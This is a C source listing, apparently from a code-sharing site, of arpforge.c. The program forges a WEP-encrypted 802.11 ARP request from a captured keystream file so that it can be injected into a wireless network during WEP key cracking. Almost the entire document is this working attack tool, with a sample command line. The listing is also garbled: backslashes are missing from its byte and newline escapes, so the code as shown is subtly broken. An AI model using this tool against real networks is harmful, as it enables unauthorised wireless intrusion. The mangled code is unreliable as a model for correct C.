arpforge.c
上传用户:fubang
上传日期:2009-06-18
资源大小:2071k
文件大小:5k
源码类别:

其他

开发平台:

Unix_Linux

  1. /*
  2.  *  802.11 ARP-request WEP packet forgery
  3.  *
  4.  *  Copyright (C) 2005  Christophe Devine
  5.  *
  6.  *  This program is free software; you can redistribute it and/or modify
  7.  *  it under the terms of the GNU General Public License as published by
  8.  *  the Free Software Foundation; either version 2 of the License, or
  9.  *  (at your option) any later version.
  10.  *
  11.  *  This program is distributed in the hope that it will be useful,
  12.  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
  13.  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  14.  *  GNU General Public License for more details.
  15.  *
  16.  *  You should have received a copy of the GNU General Public License
  17.  *  along with this program; if not, write to the Free Software
  18.  *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  19.  */
  20. #include <sys/types.h>
  21. #include <arpa/inet.h>
  22. #include <sys/time.h>
  23. #include <string.h>
  24. #include <stdlib.h>
  25. #include <stdio.h>
  26. #include "pcap.h"
  27. #include "crctable.h"
  28. #define ARP_REQ 
  29.     "x08x40x02x01xBBxBBxBBxBBxBBxBBxCCxCCxCCxCCxCCxCC" 
  30.     "xFFxFFxFFxFFxFFxFFx80x01x55x55x55x55xAAxAAx03x00" 
  31.     "x00x00x08x06x00x01x08x00x06x04x00x01xCCxCCxCCxCC" 
  32.     "xCCxCCx11x11x11x11x00x00x00x00x00x00x22x22x22x22" 
  33.     "x00x00x00x00"
  34. char usage[] =
  35. "n"
  36. "  arpforge %d.%d - (C) 2005 Christophe Devinen"
  37. "n"
  38. "  usage: arpforge <prga file> <type> <bssid> <mac src>n"
  39. "                  <ip src> <ip dest> <output filename>n"
  40. "  example:n"
  41. "n"
  42. "  arpforge test.xor 1 00:09:5b:12:40:cc 00:10:2a:cb:30:14n"
  43. "           192.168.1.100 192.168.1.1 arp-request.capn"
  44. "n";
  45. int getmac( char *s, unsigned char *mac )
  46. {
  47.     int i = 0, n;
  48.     while( sscanf( s, "%x", &n ) == 1 )
  49.     {
  50.         if( n < 0 || n > 255 )
  51.             return( 1 );
  52.         mac[i] = n;
  53.         if( ++i == 6 ) break;
  54.         if( ! ( s = strchr( s, ':' ) ) )
  55.             break;
  56.         s++;
  57.     }
  58.     return( i != 6 );
  59. }
  60. int main( int argc, char *argv[] )
  61. {
  62.     int n;
  63.     unsigned long int crc;
  64.     FILE *f_prga, *f_cap_out;
  65.     unsigned char h80211[128];
  66.     unsigned char bssid[6];
  67.     unsigned char saddr[6];
  68.     unsigned char daddr[6];
  69.     unsigned char ipsrc[4];
  70.     unsigned char ipdst[4];
  71.     unsigned char prga[44];
  72.     struct pcap_file_header pfh;
  73.     struct pcap_pkthdr pkh;
  74.     struct timeval tv;
  75.     if( argc != 8 )
  76.     {
  77.         printf( usage, _MAJ, _MIN );
  78.         return( 1 );
  79.     }
  80.     if( ( f_prga = fopen( argv[1], "rb" ) ) == NULL )
  81.     {
  82.         perror( "fopen(prga file) failed" );
  83.         return( 1 );
  84.     }
  85.     memcpy( h80211, ARP_REQ, pkh.caplen = 68 );
  86.     n = atoi( argv[2] );
  87.     if( n != 1 && n != 2 )
  88.     {
  89.         fprintf( stderr, "Invalid type: must be 1 (ToDS) or 2 (FromDS).n" );
  90.         return( 1 );
  91.     }
  92.     h80211[1] |= n;
  93.     if( getmac( argv[3], bssid ) != 0 )
  94.     {
  95.         fprintf( stderr, "Invalid BSSID.n" );
  96.         return( 1 );
  97.     }
  98.     if( getmac( argv[4], saddr ) != 0 )
  99.     {
  100.         fprintf( stderr, "Invalid source MAC.n" );
  101.         return( 1 );
  102.     }
  103.     memcpy( daddr, "xFFxFFxFFxFFxFFxFF", 6 );
  104.     if( ! inet_aton( argv[5], (struct in_addr *) ipsrc ) )
  105.     {
  106.         fprintf( stderr, "Invalid source IP.n" );
  107.         return( 1 );
  108.     }
  109.     if( ! inet_aton( argv[6], (struct in_addr *) ipdst ) )
  110.     {
  111.         fprintf( stderr, "Invalid destination IP.n" );
  112.         return( 1 );
  113.     }
  114.     if( n == 1 )
  115.     {
  116.         memcpy( h80211 +  4, bssid, 6 );
  117.         memcpy( h80211 + 10, saddr, 6 );
  118.         memcpy( h80211 + 16, daddr, 6 );
  119.     }
  120.     if( n == 2 )
  121.     {
  122.         memcpy( h80211 + 10, bssid, 6 );
  123.         memcpy( h80211 + 16, saddr, 6 );
  124.         memcpy( h80211 +  4, daddr, 6 );
  125.     }
  126.     memcpy( h80211 + 44, saddr, 6 );
  127.     memcpy( h80211 + 50, ipsrc, 4 );
  128.     memcpy( h80211 + 60, ipdst, 4 );
  129.     crc = 0xFFFFFFFF;
  130.     for( n = 28; n < 64; n++ )
  131.         crc = crc_tbl[(crc ^ h80211[n]) & 0xFF] ^ (crc >> 8);
  132.     crc = ~crc;
  133.     h80211[64] = (crc      ) & 0xFF;
  134.     h80211[65] = (crc >>  8) & 0xFF;
  135.     h80211[66] = (crc >> 16) & 0xFF;
  136.     h80211[67] = (crc >> 24) & 0xFF;
  137.     if( fread( prga, 44, 1, f_prga ) != 1 )
  138.     {
  139.         fprintf( stderr, "fread(44 bytes) failed - prga too short ?n" );
  140.         return( 1 );
  141.     }
  142.     memcpy( h80211 + 24, prga, 4 );
  143.     for( n = 28; n < 68; n++ )
  144.         h80211[n] ^= prga[n - 24];
  145.     if( ( f_cap_out = fopen( argv[7], "wb+" ) ) == NULL )
  146.     {
  147.         fprintf( stderr, "failed: fopen(%s,wb+)n", argv[7] );
  148.         return( 1 );
  149.     }
  150.     pfh.magic           = TCPDUMP_MAGIC;
  151.     pfh.version_major   = PCAP_VERSION_MAJOR;
  152.     pfh.version_minor   = PCAP_VERSION_MINOR;
  153.     pfh.thiszone        = 0;
  154.     pfh.sigfigs         = 0;
  155.     pfh.snaplen         = 65535;
  156.     pfh.linktype        = LINKTYPE_IEEE802_11;
  157.     n = sizeof( struct pcap_file_header );
  158.     if( fwrite( &pfh, 1, n, f_cap_out ) != (size_t) n )
  159.     {
  160.         fprintf( stderr, "failed: fwrite(pcap file header)n" );
  161.         return( 1 );
  162.     }
  163.     gettimeofday( &tv, NULL );
  164.     pkh.tv_sec  = tv.tv_sec;
  165.     pkh.tv_usec = tv.tv_usec;
  166.     pkh.len     = pkh.caplen;
  167.     n = sizeof( pkh );
  168.     if( fwrite( &pkh, 1, n, f_cap_out ) != (size_t) n )
  169.     {
  170.         fprintf( stderr, "fwrite(packet header) failedn" );
  171.         return( 1 );
  172.     }
  173.     n = pkh.caplen;
  174.     if( fwrite( h80211, 1, n, f_cap_out ) != (size_t) n )
  175.     {
  176.         fprintf( stderr, "fwrite(packet data) failedn" );
  177.         return( 1 );
  178.     }
  179.     printf( "Done.n" );
  180.     return( 0 );
  181. }